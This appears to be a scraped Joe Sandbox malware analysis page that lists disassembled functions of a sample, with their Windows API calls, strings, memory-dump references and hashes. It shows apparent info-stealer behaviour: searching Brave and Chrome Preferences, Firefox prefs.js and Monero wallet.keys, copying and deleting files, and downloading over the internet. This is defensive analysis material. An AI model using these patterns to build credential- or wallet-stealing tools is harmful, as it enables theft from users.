Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 79220c678383a512e6ea5bb5b56ef22fce75fdbfb630d9dfaabcd5314ee59580
Instruction ID: 7f90cddef1dc60ae084c8e10b450a8d0d222ceeeba1db1ed9c8fd848bf9e7349
Opcode Fuzzy Hash: 79220c678383a512e6ea5bb5b56ef22fce75fdbfb630d9dfaabcd5314ee59580
Instruction Fuzzy Hash: 23428272940104ABDB14FB74DC96EED73BCEF94300F4045D8B90AA6191EE34AF49DBA2

Function 00B44910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00B4492C
FindFirstFileA.KERNEL32(?,?), ref: 00B44943
StrCmpCA.SHLWAPI(?,00B50FDC), ref: 00B44971
StrCmpCA.SHLWAPI(?,00B50FE0), ref: 00B44987
FindNextFileA.KERNEL32(000000FF,?), ref: 00B44B7D
FindClose.KERNEL32(000000FF), ref: 00B44B92

Strings

%s\%s, xrefs: 00B449FB
%s\*, xrefs: 00B44920
%s\%s, xrefs: 00B449A4

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5ffccea93936f5909db2f252e9a8aae4a2f569164a3fa9b2fcb6d36f67caebe2
Instruction ID: 155a4797deb3891ffb491c87081169f1e738c40e0c71ad410d6775f31e86f47f
Opcode Fuzzy Hash: 5ffccea93936f5909db2f252e9a8aae4a2f569164a3fa9b2fcb6d36f67caebe2
Instruction Fuzzy Hash: 816143B2510218ABCB24EBA4DC45FEE73BCFB98701F0445C8A50D96141FB719B89DFA2

Function 00B43EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B43EC3
FindFirstFileA.KERNEL32(?,?), ref: 00B43EDA
StrCmpCA.SHLWAPI(?,00B50FAC), ref: 00B43F08
StrCmpCA.SHLWAPI(?,00B50FB0), ref: 00B43F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00B4406C
FindClose.KERNEL32(000000FF), ref: 00B44081

Strings

%s\%s, xrefs: 00B43EB7

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 194678fac1216db8931661fe0bf2488c7a7cc1aadfc0d7eb137bda318ea2104b
Instruction ID: a930ebdb2ee20f1a2740e9ec131e998d33b9a76bc889ba2a2dab213fae1bd4aa
Opcode Fuzzy Hash: 194678fac1216db8931661fe0bf2488c7a7cc1aadfc0d7eb137bda318ea2104b
Instruction Fuzzy Hash: 165137B2500218ABCB24FBB4DC85EED73BCBB94700F4445C8B65D96140EB759B899FA1

Function 00B3F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B515B8,00B50D96), ref: 00B3F71E
StrCmpCA.SHLWAPI(?,00B515BC), ref: 00B3F76F
StrCmpCA.SHLWAPI(?,00B515C0), ref: 00B3F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B3FAB1
FindClose.KERNEL32(000000FF), ref: 00B3FAC3

Strings

prefs.js, xrefs: 00B3F812

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 0a84686f736e42e17c220bd8bc484ab4f14da40ae152d51348907b645cf0199e
Instruction ID: cc94c9c060e4fcd8326b72f5c49fbf33c4a49ce43b1a2e8720e77d97624c12dd
Opcode Fuzzy Hash: 0a84686f736e42e17c220bd8bc484ab4f14da40ae152d51348907b645cf0199e
Instruction Fuzzy Hash: 06B131719402189BDB24FF64DC96BEE73B9EF94300F5085E8E40A96191EF306B49DF92

Function 00B316D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B5510C,?,?,?,00B551B4,?,?,00000000,?,00000000), ref: 00B31923
StrCmpCA.SHLWAPI(?,00B5525C), ref: 00B31973
StrCmpCA.SHLWAPI(?,00B55304), ref: 00B31989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00B31D40
DeleteFileA.KERNEL32(00000000), ref: 00B31DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00B31E20
FindClose.KERNEL32(000000FF), ref: 00B31E32

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Strings

\*.*, xrefs: 00B317F1

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 1ee9b2b6be56c2ce3b0b926eb9c5ceed49ed9bb3e7c9086ddef9b43d9361010f
Instruction ID: 9477585855142c35052e614bbb425df57975356946b7481e0366c4b97c8c9be8
Opcode Fuzzy Hash: 1ee9b2b6be56c2ce3b0b926eb9c5ceed49ed9bb3e7c9086ddef9b43d9361010f
Instruction Fuzzy Hash: EE12EF71950118ABEB19FB60DC96AEE73BCEF54300F4145D9B50A62091EF306F89DFA2

Function 00B3DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00B514B0,00B50C2A), ref: 00B3DAEB
StrCmpCA.SHLWAPI(?,00B514B4), ref: 00B3DB33
StrCmpCA.SHLWAPI(?,00B514B8), ref: 00B3DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00B3DDCC
FindClose.KERNEL32(000000FF), ref: 00B3DDDE

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: d7c050673f1a0bc868cce61a241a9fb0647ed150757bcd49b50d96ae5b260c82
Instruction ID: c0141e447ac0d25eaa744167a1043fab52632540d4b79984317ef487b6ad5858
Opcode Fuzzy Hash: d7c050673f1a0bc868cce61a241a9fb0647ed150757bcd49b50d96ae5b260c82
Instruction Fuzzy Hash: 6391567290020497DB14FB74EC569ED73BDAB84300F5186E8F90A96181FE349B59DBA3

Function 00B360A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
Part of subcall function 00B347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

InternetOpenA.WININET(00B50DF7,00000001,00000000,00000000,00000000), ref: 00B3610F
StrCmpCA.SHLWAPI(?,014EE230), ref: 00B36147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00B3618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00B361B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00B361DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B3620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00B36249
InternetCloseHandle.WININET(?), ref: 00B36253
InternetCloseHandle.WININET(00000000), ref: 00B36260

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: da974765aba932ea87936e79fa59210d4b886c08ca5d89e0d4cb89f5c9b4e3e0
Instruction ID: a40cbe96a1937809c91f079e129f5a19267373c29760a6ad6e0ce65831d75b42
Opcode Fuzzy Hash: da974765aba932ea87936e79fa59210d4b886c08ca5d89e0d4cb89f5c9b4e3e0
Instruction Fuzzy Hash: 185151B1940218BBDB24DF54DC45BEE77B8EB44705F2080D8B609B72C1EB746A85CFA5

Function 00B47B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

GetKeyboardLayoutList.USER32(00000000,00000000,00B505AF), ref: 00B47BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00B47BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00B47C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00B47C62
LocalFree.KERNEL32(00000000), ref: 00B47D22

Strings

/ , xrefs: 00B47C7F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
